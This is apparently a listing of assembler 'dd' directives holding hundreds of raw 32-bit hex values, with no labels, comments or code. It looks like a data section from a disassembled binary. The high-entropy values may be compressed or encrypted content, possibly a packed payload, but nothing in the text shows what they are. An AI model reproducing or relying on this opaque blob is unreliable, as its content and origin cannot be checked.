		dd 0A3443B4Fh, 5D094419h, 68879671h, 2F4031A9h,	9558CFE9h
		dd 1FE7A6A2h, 349CCC5Dh, 0C33BC8BEh, 720FA080h,	168092B1h
		dd 2E773B14h, 0B008D720h, 0DE880721h, 0C831345Bh, 1AFE5144h
		dd 303CE163h, 0CE28C9F1h, 17B8A859h, 6859C804h,	0E92AF0E4h
		dd 9239E12Dh, 0E899F518h, 0BD809255h, 5989F9B9h, 0ACAA9077h
		dd 381CD682h, 0C241BAA4h, 9C199CD4h, 3EE18CD3h,	0CA09BE0Dh
		dd 8317C240h, 0A33C150Dh, 489C6942h, 0F0C81999h, 29490264h
		dd 0A042AB2h, 4CBD09Dh,	6595484Bh, 0ED13C049h, 905822BCh
		dd 448F2D6Eh, 5E5402DAh, 49476857h, 2E849877h, 373D242Ah
		dd 0D5D60E84h, 6DD4C86Bh, 9ABDC3Ch, 7E202D2Fh, 47A03BB4h
		dd 0EBFEC698h, 9346A00Bh, 2910FB0Dh, 712928C7h,	25852EE9h
		dd 7A6D4018h, 0BD312FEDh, 0A6E90B6Fh, 50012A64h, 9210B9DAh
		dd 5B6C9879h, 0BEEC8457h, 926E71DDh, 327F019Ah,	1AA47DC3h
		dd 0BE6EB01Fh, 88277AF2h, 33917A5Ah, 0FB6FF787h, 6D54C401h
		dd 0C968658Dh, 4E24B839h
		dd 0E50582A0h, 805F383Dh, 97661AA1h, 0A215904Ah, 94DC7085h
		dd 29656FDEh, 68BDD1CCh, 3CD1EEC5h, 0D4CB7FA4h,	10D6AC5Fh
		dd 0BA292AC9h, 9FE0C777h, 6801384Ch, 1A28082Ch,	0A605490Fh
		dd 89F6816Bh, 0E9E03F6Ch, 0B91A40A8h, 0E83AEB09h, 5F22435Fh
		dd 0C153E258h, 378D4217h, 0EFB9A02Eh, 58780261h, 0AC71216Fh
		dd 0E9F0947Ah, 0AE4ADF7Bh, 0C2929FD1h, 680EAAA3h, 5B6977F7h
		dd 166B015Dh, 0F3706414h, 9D2B61F9h, 0EDCC6243h, 42842A49h
		dd 0BD3049BFh, 2DAE537Bh, 88A8A0C5h, 4B6C3C7Ah,	0E29350h
		dd 99A666Dh, 1738800Fh,	6C060AB1h, 26180C19h, 8527BB88h
		dd 8C45E868h, 0C717C6BDh, 0DD25555Bh, 4D40F504h, 0EEFF5388h
		dd 0F7420F15h, 0C2C94ADAh, 1CFFBC62h, 4CE91ACFh, 61751955h
		dd 94607A49h, 1CFA9D25h, 7DC86818h, 0B9558ECFh,	0BADF49C1h
		dd 1E367422h, 861F990Ch, 18337CDFh, 0C53D02FDh,	0DE74145Dh
		dd 2D20A079h, 465B3507h, 4E8147DCh, 61DAD82Bh, 0EE0458F0h
		dd 479634D1h, 0E9B4983Ah, 0E343AF68h, 37AA3F12h, 0D431E4B5h
		dd 4872CBABh, 0B652F68h, 0C663D442h, 0F89015E6h, 84A11F26h
		dd 29801589h, 628D718Eh, 574A787h, 89E0FA64h, 5FA509BEh
		dd 383021C2h, 62B75E51h, 93D3D873h, 0EDF02DF5h,	0D1C20909h
		dd 2AB5DAE2h, 4F308CEDh, 8676A35Bh, 3EF7FC3h, 0C8331DCBh
		dd 0E014B64h, 21AE1E9Fh, 292836E9h, 0EEC15B04h,	2C68003h
		dd 8D13FACDh, 0B412F731h, 73CBD440h, 28E9276Eh,	481A0151h
		dd 322A7BE7h, 0DD2BF39Dh, 9C40DAA8h, 9CA9D8E1h,	0CD95A879h
		dd 2EA7F055h, 6B1EB9F4h, 0A7C410F3h, 0A0271CB2h, 20F0C6C1h
		dd 81BF061Ch, 0B8504E46h, 4B034DF0h, 0B6B0515h,	4733AFF6h
		dd 5C77273Eh, 8225608Fh, 0F3C6D7B8h, 890085C1h,	9B951E8h
		dd 2745C36h, 4BE2E181h,	47C04FC3h, 0CA2C2116h, 1F025442h
		dd 5DE574CDh, 38C18A43h, 0D5B58328h, 0DCEE885Ah, 871E24BAh
		dd 0B551439Ah, 0EAFA52F3h, 0E2F54741h, 0BF824D05h, 3D640FC3h
		dd 3393A494h, 5B6D9304h, 0B98C889h, 28F07A29h, 0BD858C6h
		dd 3C5C7918h, 0DED77200h, 215E19E6h, 0C0FB1DD9h, 0A600DA7h
		dd 0AACCE964h, 83FAA588h, 0C8FE201Fh, 19DFEA4Bh, 527B68B4h
		dd 192CAF20h, 0C3114CB2h, 0C61E2C81h, 248FED7Ch, 0B3B6B9C0h
		dd 0CD4B91A8h, 592D24E8h, 0EFDCCB09h, 402BC603h, 4AAF473h
		dd 0EA0EA140h, 0C6BC8974h, 5FE954C1h, 62A3ADD1h, 8839C174h
		dd 0E91F8936h, 125AE5DBh, 805DED48h, 0E5C14D5Fh, 0F0309D04h
		dd 522C45C7h, 0C903A120h, 0B409861h, 7B10360Ch,	33754A02h
		dd 8A95609h, 581F7E17h,	2B807052h, 0FC9DB652h, 55ADAAF8h
		dd 25F3862h, 771AC5B5h,	517CD398h, 539E12B1h, 970BB142h
		dd 49815937h, 0FE98105Dh, 633319FAh, 74E75489h,	681666D7h
		dd 7977C94h, 329C5083h,	5321D5B2h, 5BB110D7h, 6FE6488h
		dd 10DCB9F5h, 810199BBh, 0C7473AF7h, 0F93E606Ah, 66824604h
		dd 0F0C4FA01h, 0B05F0809h, 0BF6FE95Eh, 597E8390h, 2E63BC28h
		dd 0F208DD26h, 36ACB040h, 8ACBF66Ah, 1290D462h,	4C4E1868h
		dd 7CFA2830h, 8026B86Ch, 8C2DA5h, 51D4832h, 124A7427h
		dd 55175EB8h, 8E0920BDh, 0D2720072h, 0A87D1359h, 962E5FCh
		dd 27FCE9FDh, 20D6147Dh, 5B139A1Eh, 77C58968h, 2AE2C008h
		dd 0B0024A16h, 34247D94h, 0FA00757Eh, 2136A42Ch, 0F75F02F9h
		dd 0ADE941D1h, 0F2875D4Ah, 98E804BDh, 0B7732CD8h, 0D828F11Dh
		dd 93E909BAh, 50FC562Dh, 6880AD2Bh, 0AD104E0Ch,	621A43Ah
		dd 0B4091E9h, 2D48FDF5h, 40F00DEEh, 92FA12C1h, 0C801A93h
		dd 7F69225Fh, 864A820Fh, 4EC5F840h, 1339D814h, 0F4D577E9h
		dd 0D160C8C6h, 3F5C723h, 310B7BDAh, 54EB0F28h, 7DA72B59h
		dd 88B4ADEh, 0A4FE250Fh, 7431FF8Bh, 66FA01F4h, 445826A8h
		dd 0E90704E5h, 567AA098h, 72106805h, 128114B6h,	8C2FA9EAh
		dd 0F94DB385h, 0AFC8109Ch, 1F345602h, 9EABCB88h, 0B1108804h
		dd 840F3C60h, 590BF628h, 0C0713F2Bh, 0FCB393BFh, 6F5AD5F4h
		dd 8666E483h, 295816E5h, 72695C8Ch, 2D0D8D39h, 69CEE405h
		dd 0A7F8BE3h, 3C021A0Bh, 520FD942h, 0B056352h, 7A0302E7h
		dd 89E3DEF5h, 1A81F581h, 66B4147Ah, 0BD081360h,	0DC898485h
		dd 1E25F9E4h, 0D26CBC68h, 0EEF685D7h, 0E0C5432h, 0C1808270h
		dd 879884C6h, 0C0FA431Eh, 90D203E0h, 892DE050h,	885C65D7h
		dd 0F288AD8h, 66173D64h, 8C7704FFh, 455C0B7Bh, 0E95D8537h
		dd 7BA05F9Dh, 2BC31004h, 1792EE05h, 273A5E04h, 999D8E14h
		dd 0E7435C5Ah, 44BAADCCh, 0E933FF94h, 0C89D1773h, 0A25BD54Ch
		dd 0B193D043h, 0DA4AB101h, 0A6D6F71Ah, 43F9604h, 29D2BA40h
		dd 0CF5C82EEh, 0C19C0743h, 2E7F1CC9h, 0AB44C931h, 68C51D29h
		dd 683CFFF0h, 1D9268E9h, 0DD9E01E2h, 3031AA3Fh,	0F1947747h
		dd 0E91EDC25h, 545F3CEEh, 0E710FDA7h, 78775EDFh, 44E216D2h
		dd 0AB7A6284h, 65C104F5h, 0B9896E06h, 0EB5F742Fh, 90486ECBh
		dd 13CC6884h, 826B25FAh, 0B9009E96h, 5D2A78AEh,	0D9408179h
		dd 76071650h, 41CAFD2Fh, 0F4943008h, 0AE22E04Ah, 0DA16575Bh
		dd 3181FC7Ah, 0E6F6D89h, 0C11F6369h, 75232138h,	582340FAh
		dd 69B81370h, 1B70B54h,	42AECDD3h, 942D4834h, 106C8386h
		dd 1D39BE08h, 24D410Ah,	2E61EAEBh, 939D552Bh, 0A2C9570Ch
		dd 0F356A422h, 207E70A5h, 7E92D59Bh, 81F5632Ch,	32CA890Fh
		dd 9C25CE0h, 4A04F0Fh, 0C52772D6h, 69712E2Ah, 751D325Dh
		dd 2CAB51C5h, 1F808A95h, 23E8BB53h, 0D9FCFB4Bh,	0FE34A270h
		dd 0C96B08D5h, 4E60E580h, 2D0F49CBh, 9ED27080h,	63FED06h
		dd 0E834418Bh, 0F796B52Ch, 0F0D5A2A1h, 0CEF80596h, 0C154730Eh
		dd 0DDF6C03Fh, 0F863701Ah, 2C6706C6h, 264626B4h, 0E35A270Ch
		dd 124D1A60h, 971C0484h, 0EA3DA4F7h, 43A016D8h,	0DD2F7826h
		dd 575F123Eh, 7C4949CCh, 0BD781789h, 0D53E60CDh, 0E0345688h
		dd 8D92E829h, 0CB41D20h, 0B101DBBDh, 0D0EE5BEh,	420B453Bh
		dd 64FC02E9h, 2B780151h, 850F6091h, 0F406A17h, 0AABF6AF1h
		dd 95E917FEh, 5D2049A8h, 5CD8185Dh, 1273DFB2h, 917FA8CDh
		dd 0A0D7C4E4h, 59349CABh, 5648809Ah, 9DF020F6h,	807BBD60h
		dd 0FE4BCA1Ch, 8CD078EDh, 0D43CB51Eh, 2801EFB5h, 0F4F62576h
		dd 131FEBC8h, 352DA7C5h, 0C9F0D353h, 0F5D99502h, 0F5BD5A45h
		dd 0B625E29Fh, 4EB768FDh, 3FCD1F31h, 9D620B50h,	5B93DFDCh
		dd 9E404FF2h, 0B2EC4B9Bh, 0E57A722Dh, 20BD0C25h, 0B5DAA831h
		dd 0D7894C15h, 16F70C79h, 0E7581B1Ch, 86C38AF7h, 76A59123h
		dd 0A013C4DDh, 0B1F034C5h, 0EE428F60h, 9D855C71h, 0E9027F01h
		dd 2E4D25CEh, 2188C18Ah, 0DE99C03h, 0AC704B78h,	0D3F7A1D7h
		dd 2611447Ah, 0B8B907CAh, 1438400h, 0D4E2F9CEh,	0E189099Eh
		dd 82D22776h, 9F7DB0Bh,	95600A98h, 64AA8582h, 71F993B1h
		dd 1C231D2Ah, 0D6C8195Bh, 0D5BD0008h, 13493D3Fh, 283BDC12h
		dd 0EE7D8915h, 511E3025h, 87C380A7h, 13B1F26h, 40EBE1EDh
		dd 0D9685008h, 8FDD3149h, 296CC44Ch, 0AA4C35FBh, 0F3811020h
		dd 0EEBF12DBh, 3C48F1E5h, 92E0D692h, 89A34FF7h,	2B72A81h
		dd 9820DC94h, 34FA9B0h,	50E76CB5h, 16AC7503h, 0C2F572F4h
		dd 858DFFEh, 507B3B95h,	0BD4C4469h, 284CA98Dh, 7F4DDF54h
		dd 0E02A1B2Ch, 739222Ch, 0C97876FFh, 6CC46F0Ah,	5701E349h
		dd 31E687DBh, 63297270h
		dd 51E9CFF3h, 5F9B24h, 0FD093228h, 619BD3Fh, 3C1F8425h
		dd 6272C77h, 0AD537F85h, 8CA14B11h, 50F1B72Fh, 0B953BD0h
		dd 77616631h, 661B5D68h, 67C09689h, 0AF97015Eh,	0B7636536h
		dd 603ABF8Dh, 0E9F9F780h, 0D6AAE125h, 0EA847960h, 27CF5705h
		dd 809FA44Bh, 0B638289Ah, 71C74E74h, 0F1F6EBA3h, 0BC052BEFh
		dd 59F67077h, 69621CCEh, 0B3058EC3h, 0F43025BAh, 5B150235h
		dd 4B8BC330h, 0EEA43AADh, 1203934Bh, 46A7D9Fh, 264EF000h
		dd 12C4A67h, 0D00276DFh, 6074AC2Dh, 2D078210h, 0F9462A45h
		dd 2F4FE914h, 6F020425h, 0C5BA11A0h, 3527AB95h,	5F760152h
		dd 455F12BAh, 685C0416h, 2B98BF94h, 0F7189784h,	0E15A21E9h
		dd 0DDB38327h, 0D459DA55h, 0E9562D4Ah, 6A68DA01h, 85204F7Bh
		dd 21A2B505h, 0E70F08EFh, 0FC09B534h, 0B9D068F5h, 14F904ADh
		dd 4ACB5164h, 8EB4E921h, 0F450D2E6h, 8E0F80E8h,	5BB9F54Eh
		dd 12310110h, 740EF380h, 5C2690C6h, 10042DFBh, 7235EF55h
		dd 8C75AC0h, 0A8D83E80h, 6A46FEA5h, 2421B90h, 354EB558h
		dd 4BF8B74Dh, 4B106E8Ch, 0C438AD63h, 0D3F32F9Ch, 6F780B01h
		dd 350EE915h, 7FF0C1DBh, 913B7EC9h, 2F65A52h, 1745D053h
		dd 0EC0DD25Ch, 1D7800CEh, 0E1C11F0Ah, 806C006h,	0CBDF890Fh
		dd 21E7B7h, 0C888C3B5h,	0F13DDF7h, 34A11281h, 80A0EE2Ch
		dd 32C361F2h, 0AFEC885Ah, 2A06B9Eh, 74EE5B74h, 0C351E5A5h
		dd 0ECBCD424h, 365A72A7h, 0AA3C9A31h, 7404EA05h, 0EB137854h
		dd 6956A42Eh, 0A626354Ch, 428FA625h, 2C00747Eh,	94D82889h
		dd 0B0D552FFh, 0C13DE077h, 40BECB6Dh, 28C07A4Bh, 78B30B19h
		dd 2FE91225h, 1683FDC2h, 0EAF2E716h, 0A35659CBh, 792E5451h
		dd 76DC7E77h, 41C14144h, 420A60B7h, 0F5F8310Ch,	8DAF683Ah
		dd 0A45F3927h, 1A6916Eh, 4D3489FBh, 0A42A48CDh,	0F62FE435h
		dd 0B6DA4E82h, 0EE207FF6h, 0D5F71E18h, 0B5F02787h, 85880F0Bh
		dd 889A51B2h, 0B62CCFA8h, 875BDE0Eh, 7DF592Dh, 5B6F001h
		dd 565E3F0Fh, 0B579674Ch, 0AF810BE2h, 79A5CBE9h, 0C38187Fh
		dd 0A85320C9h, 9DD265C0h, 6139E26h, 9D684109h, 7D519A7Ah
		dd 2EF01941h, 5BC24BE2h, 6C59C328h, 8D1741AFh, 5E561D30h
		dd 984E6554h, 0B984EEB2h, 4F5825E7h, 7F7A0F00h,	3BED8112h
		dd 53EC2615h, 20A1DBFh,	69E906C1h, 0EA9FC0F4h, 0CD13B2AEh
		dd 16830D57h, 4F0983E9h, 0CA66F068h, 0C2004973h, 0C0B0501Eh
		dd 9CF775E9h, 5B584202h, 12C2CC5h, 0DBAF2E2Ch, 1BE308C0h
		dd 588A236Fh, 0D0280F75h, 9D3AE9ECh, 0E4EFC07Fh, 33A39FF9h
		dd 0B71C9BF8h, 32099FC1h, 51262045h, 2E28F756h,	20BACB01h
		dd 0BAE91908h, 0FD5A347Ch, 7A8165F8h, 5755C962h, 45756B4Ah
		dd 68578410h, 2FECF202h, 2700593Ah, 0AD6A577Eh,	25771049h
		dd 7E4EB722h, 24E853A2h, 5D14D9F2h, 108176F6h, 42279702h
		dd 5A961BF6h, 0E1435D1Fh, 0C7D8ED80h, 5EC2E805h, 9CF9D0CEh
		dd 0AACD81CFh, 7F89E41Bh, 0DAFCC709h, 5961B09Eh, 6B16B077h
		dd 808B3490h, 3F5C5623h, 8EB7724Ch, 9C4D588h, 0DA8DC7E9h
		dd 169A7C71h, 14744C6h,	0CD73E38Dh, 19CFD80Bh, 69502902h
		dd 0C633E2E9h, 4040F083h, 88FC5F2Ah, 10037DF1h,	680BB7A6h
		dd 305C4789h, 921A5167h, 80324688h, 1F7079F3h, 89395269h
		dd 0E9D709DAh, 0D7A0F772h, 5017011Dh, 16245F5Bh, 6A7870EAh
		dd 100CF3D1h, 46FB8953h, 0B95F045Bh, 81932B12h,	20BB75h
		dd 0BDF6EA80h, 0FE195361h, 0B4635B07h, 0ADB45A71h, 0AED7C417h
		dd 5F01FB14h, 0F605E3C0h, 447F30D3h, 44325181h,	0A4418812h
		dd 253C1B01h, 0FA291FDEh, 1485E156h, 26800D99h,	548712BCh
		dd 0ED1748BBh, 0CAF0AB78h, 74C995AFh, 935E3FEBh, 0B2EC68CAh
		dd 5BBF6B4Fh, 0C282B947h, 56406802h, 0F6E24C73h, 0BA42FCF9h
		dd 0E696809h, 5E49775Ch, 7D8089A1h, 51072F51h, 0C5A0EFB5h
		dd 4B840FA3h, 0FE1C0792h, 428D82CDh, 0EDC0E4C8h, 12ED0358h
		dd 4AD229A8h, 0DBD90BC8h, 20B85040h, 2D7E2608h,	351D165Ah
		dd 3A70993Fh, 0E935298Bh, 400DF183h, 12388570h,	265126BEh
		dd 0CE25CA2Dh, 290BBF79h, 0A849DEA8h, 0B9CF2063h, 111294C0h
		dd 168955B3h, 24D58C5h,	3F7F6844h, 0D9539BFFh, 0C06A3A45h
		dd 1D2A090Dh, 4E9030Ch,	0FBDA310h, 0B46726Fh, 9B2B9F66h
		dd 31B4C24Ah, 50EDE5Dh,	0AAC8A390h, 0AF20CB9Dh,	0FB66B79Ah
		dd 4AAEE549h, 0F3B4D4BCh, 5D2D760Ah, 2FFA475Fh,	0E308AFD3h
		dd 59973A02h, 0A1B4EC0Ah, 5027027h, 82FACA55h, 52B84398h
		dd 986F4D58h, 0EEDF0B4Ah, 1D12B5F1h, 0C60588F9h, 93C01BDh
		dd 2054F79Dh, 98ABE7B5h, 2340F44Fh, 40773CFFh, 446FE718h
		dd 82795B5h, 0F9BE84ECh, 0C83A9BF1h, 0C8924B6Ch, 146C649Dh
		dd 40ECD5E9h, 0BF75D707h, 0A067B572h, 0B6AC5326h, 995F5232h
		dd 362D415Ah, 0A2DFB64h, 2F9C4FBAh, 5C02AEA5h, 5B9954A0h
		dd 0E34D2224h, 6F03E301h, 0C0F20153h, 0B577A237h, 1009D99Ah
		dd 0E5F508DFh, 0D949231Eh, 0C42D0128h, 568F485Fh, 2424B5F7h
		dd 0D415C4CAh, 5074E98Ch, 0EDBEED17h, 93F8166Bh, 9C942D41h
		dd 4ADC4220h, 28564A09h, 8250A5BFh, 0FEE2E60Eh,	0A2EEA1C6h
		dd 0BDEBDEF6h, 0A12FE882h, 717368B5h, 28238D2Eh, 5EF1844Ah
		dd 0F91894BEh, 0AAE98289h, 63284497h, 412C4D55h, 605994F1h
		dd 0C22D68E8h, 633B567Bh, 0CB92C188h, 0DD852592h, 0F8390C38h
		dd 0FE59E9F1h, 39932CDDh, 499F590Eh, 2D1843F0h,	2190C31Eh
		dd 546F5158h, 0C10ECB57h, 4F7157FCh, 0EA13D7FDh, 11584080h
		dd 0AAD0212Eh, 310BE807h, 84656843h, 0A2F067EBh, 8CB133DBh
		dd 0F76A0904h, 90EB2F59h, 9C23FDAAh, 9D10627Ch,	6904A171h
		dd 0D2823D87h, 0F93D598h, 2FB67EC1h, 51605799h,	35052CD3h
		dd 5EF709A8h, 6AA12C01h, 81CDE3D9h, 0B76BAh, 0E340E0D1h
		dd 0B46ECDE5h, 515A66BFh, 1A0774BCh, 23DA8852h,	0E7E75AD1h
		dd 80045CF6h, 0E912F5B8h, 0C5B8F887h, 0C04BB9D4h, 1210BF08h
		dd 7E238433h, 5D0D480Ch, 0F83B464h, 25B4B489h, 98314E73h
		dd 89912BDAh, 79ED2D0Ch, 6853B612h, 0C5B49DECh,	0C607E44Ah
		dd 9F3EAB07h, 0F6704E0Bh, 17B69C08h, 0E09EE902h, 0BA07BE09h
		dd 46483D0Eh, 74D30BB2h, 0E9EF5B4Bh, 5900DD50h,	0A66EBA05h
		dd 2DC33135h, 0F0822158h, 0E75D1D4Fh, 20832019h, 1596F53h
		dd 8BEF2549h, 6EB551B8h, 0E98402C8h, 0F2E88C16h, 0E1FE858Bh
		dd 26D4908h, 8FB08E0Fh,	64ACFC4h, 0E0B1F5A0h, 9A38EDD5h
		dd 3316E487h, 0F4B002CCh, 589D28EDh, 0A7C213DAh, 1236E230h
		dd 26F95561h, 0F79108A4h, 6E86D825h, 5F818905h,	7F45BE44h
		dd 0E0898E82h, 0A49888A5h, 22BD90D3h, 63EAB072h, 2951C3F6h
		dd 94CCF4A1h, 0ABAF5994h, 87FC156h, 95448630h, 7BBE6B16h
		dd 0F274E986h, 82C15040h, 8188270Fh, 412330Ch, 1206BB8h
		dd 0E2E5FA34h, 3C7B3B69h, 35980B7Fh, 77D91F6h, 0E8005E5Dh
		dd 6B09E927h, 455BFFAh,	7121CA3h, 3AC06491h, 0B4F60FA5h
		dd 0AF8A63CAh, 3BF64166h, 5E2C92BAh, 0BAC08556h, 0D4D2190h
		dd 0DB78E935h, 0DAF13A3Ah, 2AFBB13Ah, 8B65F446h, 3EEB5CD5h
		dd 406E1712h, 1A5A13FEh, 0D5902911h, 0A2F8148h,	0D66F8E3Fh
		dd 73951002h, 44625D40h, 31CB5F43h, 7A8E68B1h, 3D827637h
		dd 1BCDD713h, 42CD673Dh, 6CA28462h, 947DFEA4h, 0BC602AE4h
		dd 1AE978B9h, 7D138997h
		dd 88205B25h, 6B48E741h, 561C96Dh, 5EB89EB1h, 0AC71BAD2h
		dd 402FE644h, 3F64BA07h, 8B140F57h, 7B0C6D6Bh, 0F78AD512h
		dd 0E912F5A8h, 0F98FE1C7h, 47CA7EC6h, 169B254Fh, 937D8DE6h
		dd 57FE5AEBh, 4D5EB35Ch, 0A0E909E6h, 0A0E3D43Eh, 0F6CDF8C5h
		dd 72EB6190h, 0FA8B6855h, 8D59185Dh, 0B74F7612h, 0C960BFD9h
		dd 62991EA7h, 0F22ED430h, 1058D254h, 9424850Ah,	9FECB12h
		dd 81C659B9h, 2B85064h,	6C3B0852h, 7F48092Fh, 0A5AF216h
		dd 765A890Bh, 0D164C252h, 73C48109h, 35F87B29h,	0FB181A19h
		dd 4ADDA63Fh, 1104DF0Eh, 50B8ECE5h, 2B2F687Fh, 80FE5126h
		dd 7C9118CCh, 0CB0A815Bh, 0E6490CBAh, 11CD8605h, 0CE019193h
		dd 0D78325B7h, 569FDF53h, 6340E816h, 0B551EA04h, 7D82987Ch
		dd 8AF14D08h, 303BB907h, 0E18131CAh, 1C0C024h, 416558B5h
		dd 1D532088h, 0A1C02197h, 0E820D361h, 0A7DBB1D2h, 45E97DA1h
		dd 1D877496h, 7C9F6A62h, 3ACF0889h, 0FF922FADh,	405DE405h
		dd 54DF88B9h, 0F51D8166h, 894F4BD5h, 0F712FAE9h, 4D711F03h
		dd 0D6203BCFh, 0A1065C2Dh, 0C6010E01h, 5B256858h, 8001A24Dh
		dd 8F8BB169h, 27B05CCDh, 0C1808366h, 0ED895EEh,	0B791167Bh
		dd 9DC348B8h, 98846AD4h, 0B0CCFE7Bh, 41937912h,	0F661CEE6h
		dd 51CB804Ch, 687D2DB9h, 0F8ABA005h, 37D51D41h,	8BFACC1h
		dd 0B0027C43h, 74C52056h, 81C44500h, 7A1DBDBDh,	0D5F7BB71h
		dd 25C6C83Ch, 1109DBA9h, 0E1461B75h, 16A7F59Eh,	0FCAD0F7Eh
		dd 26358095h, 89BAC0D1h, 0A6203E90h, 1ABD7572h,	14412B24h
		dd 38D619CAh, 53E8FCE4h, 8A38DC5Ah, 0F781E401h,	11C44B99h
		dd 5947983Ah, 0D4031005h, 0F2D9F731h, 43C7D22Eh, 703A4E61h
		dd 7A2C6C7h, 33A5D756h,	0C2144E8Fh, 19403813h, 42768F13h
		dd 79E4B4A2h, 3181D114h, 31CB5F11h, 0B3FCC816h,	0C2D519C7h
		dd 0F270F2F3h, 2F2E7B25h, 55FADA79h, 917C34Fh, 841220ECh
		dd 176BE278h, 0B16C6918h, 47B04065h, 91CF8103h,	0E11A8E5Ah
		dd 627BF1AFh, 35789E3Fh, 34E1554Ch, 0F4C3D31Eh,	615AD1BAh
		dd 477E4282h, 0E5F8426Eh, 492FCCF3h, 0D11CAA1Eh, 14BFE06Dh
		dd 2F4B5867h, 113D7F00h, 5FF931EEh, 1920497h, 1B4E6ECh
		dd 3B3AB2E1h, 463A8342h, 2658768h, 0CA8B6018h, 0B85A29E3h
		dd 380DDF0Fh, 0FEB1327Ch, 0C0FE0804h, 519D237Eh, 20C7F897h
		dd 30B0A8CFh, 0CE28580Eh, 66F00459h, 2253DE2h, 0D91952A2h
		dd 412ACC0Dh, 3221ADBh,	93C63C64h, 4EC466B9h, 6BF1271h
		dd 0D319CD51h, 1656C35Ch, 98D42748h, 89120812h,	34BA6EC4h
		dd 0ABF20946h, 682CF810h, 0B27A5D81h, 0FF8C9674h, 27D7488Dh
		dd 295158C7h, 0B95F3B1Ch, 0E25B0E82h, 4F5EC432h, 0C7D6402Eh
		dd 72C1E132h, 62CF629Dh, 42004A25h, 9E673B2h, 592AE083h
		dd 795803A2h, 0A0BE4F86h, 0FC7F4B0Ch, 84A0F75h,	149764Dh
		dd 0A5A3034h, 0E918240Eh, 45D4B8C4h, 0D1878DC0h, 0E2A86488h
		dd 0D5D0090h, 25C7926h,	63A22D70h, 0BB609994h, 954D09E9h
		dd 38F01F44h, 59006796h, 0AB3E30F3h, 29FA9855h,	2CD23DBh
		dd 41044724h, 567BE0D5h, 73E5A058h, 519701h, 8A5D5C1Eh
		dd 88251ADh, 31042D6Ah,	8BAF53F0h, 6656041Ah, 0CBEB02D0h
		dd 5C4D046Eh, 85FA523Ch, 82220474h, 1E72C43Bh, 305FCB1h
		dd 0AA8E9BE9h, 2E7C89CAh, 64ED9A68h, 0C04EC85Dh, 0EA30025Ah
		dd 0BC9713E9h, 0B07A44F4h, 48023588h, 89F12E90h, 0F44141C5h
		dd 4228629h, 0F12D639Fh, 882B084Fh, 3994552Fh, 83DB4BE2h
		dd 9278A31Eh, 9638E026h, 46FA0275h, 3DE9C301h, 6D2C29FEh
		dd 20F52EE2h, 89585EF7h, 484EF97Bh, 15BAF20Ah, 8D8388h
		dd 0F8685156h, 733E2345h, 1C11659h, 12D8E808h, 929A2128h
		dd 5BA10566h, 0DF78D22Ah, 0D305B2C8h, 32DE7601h, 27288F0Fh
		dd 82AD22Fh, 34B4D761h,	57013516h, 21F325F4h, 0F13A58C3h
		dd 3A7ED7Eh, 6AE0B2ACh,	3EA37B9Fh, 0E825E613h, 8C6AA129h
		dd 70DDF701h, 0F412A82Bh, 5ECC649h, 89E1E909h, 0E1070CC9h
		dd 0E36C12h, 3F526ABDh,	14A5BB01h, 0B3653178h, 5545D104h
		dd 5C580B44h, 180BA01Ah, 40C08EE9h, 6FEE4B5Bh, 0A6100D97h
		dd 0C2B60EFAh, 1CFF8B1Dh, 404BB060h, 0D56B0180h, 208A4CE5h
		dd 0D2EB7B1Fh, 0EE93EF7Eh, 307CF505h, 0B0766C3h, 4D967D12h
		dd 22F73D4Ah, 0FEDD1920h, 44AC53FCh, 30F765B0h,	80A46A50h
		dd 800705B2h, 0D328E0C2h, 0A8ABBCC6h, 16853B2h,	2BC31939h
		dd 0E4D3F75Bh, 0BF64E2E9h, 0F2B816AFh, 0C4BCF25Bh, 30E30DBh
		dd 5464E333h, 0BB800A88h, 0E7C1BFBh, 4405C0Bh, 7124EBDh
		dd 7400708Eh, 6C528FEEh, 724620E9h, 595A542Dh, 0C4E942AEh
		dd 4EFE6CF8h, 0DB6352EEh, 7AFEA9A5h, 0AFBA0719h, 0C210F254h
		dd 400F685Ch, 2B7A17D1h, 82CA5A31h, 13E11575h, 0F8E06E5Ch
		dd 5BDE2529h, 0CC2D7CFBh, 64FE20C7h, 0C15F5576h, 67A37513h
		dd 5A8CBDD3h, 10086949h, 829F63B7h, 0C794C8DDh,	0F0FE8402h
		dd 7E255096h, 66CB0B03h, 14024B19h, 761398C2h, 0F112BB8Bh
		dd 0E307EA7Bh, 60E559CDh, 0E5F340EEh, 688A0F05h, 0E481ABA9h
		dd 66277684h, 7D89E144h, 0B3F51980h, 0F73BFC4Ch, 54AFD548h
		dd 0E8BD5FF4h, 2753AB4Ch, 8B606959h, 942D26D3h,	6D725E39h
		dd 0B0FD2828h, 72DC2BC1h, 4BA098D6h, 2499898Ah,	5D122F85h
		dd 83B8935Fh, 75F58710h, 0B6BAB726h, 0F90ED953h, 0B8591124h
		dd 41810BB4h, 0C60079C0h, 22A17A93h, 650E918h, 0C67C57Fh
		dd 2916AE7Eh, 829D71DAh, 752DADCDh, 0D465C14Ah,	90CBAE22h
		dd 30AA70C1h, 0D1159D02h, 86F2CE87h, 0E065DE55h, 0E94BDB6h
		dd 0BEFE569h, 125D5752h, 2FBBDC18h, 0FBD8395Ch,	518E2E37h
		dd 75E03A8h, 0E6046C2Ch, 199021D0h, 70006BF9h, 0E9FEF252h
		dd 99A471D3h, 227E6805h, 0AAD04B40h, 1366BA62h,	28691DE9h
		dd 0F6F85015h, 0E0A80F5Bh, 0C5C48AD1h, 0DF5F0964h, 16DD8009h
		dd 170A91D9h, 493D4E61h, 0A4A703CAh, 56EF1208h,	0AFD9096Eh
		dd 5243467Ch, 0E2930063h, 436233FAh, 9320820Fh,	184A770Ah
		dd 8D368688h, 5080DF6Ch, 0C5BE0456h, 0FD6F9154h, 0EA7F18FCh
		dd 161FBF1Eh, 136B5D23h, 5CB3C896h, 342A3310h, 49066380h
		dd 4C5B2913h, 0C003A8Dh, 4685251h, 2C037F2Dh, 0CC8DC25Ah
		dd 0C4F75E0Bh, 0ACD6C5F0h, 0CFCC6BDh, 9530901Dh, 82DA9102h
		dd 8320140Dh, 0DD6D1F94h, 0FD5B4917h, 0D0762032h, 2007128h
		dd 4F7A4D77h, 9429ADE9h, 83ACAD3Dh, 3D30F088h, 8CE6E66Fh
		dd 803EEF1Eh, 8E454A4Ch, 5600ECBEh, 0E91A693Bh,	0D53BCCBh
		dd 3E86FB29h, 75C623A5h, 0EB9206C5h, 0BE0209A5h, 0B0CE5721h
		dd 28685609h, 0C516FD63h, 240B9497h, 0BA0459E9h, 0F5625597h
		dd 0B8EA30DAh, 211E9E94h, 88319B3Fh, 0EA1E58A7h, 0FCA03C4h
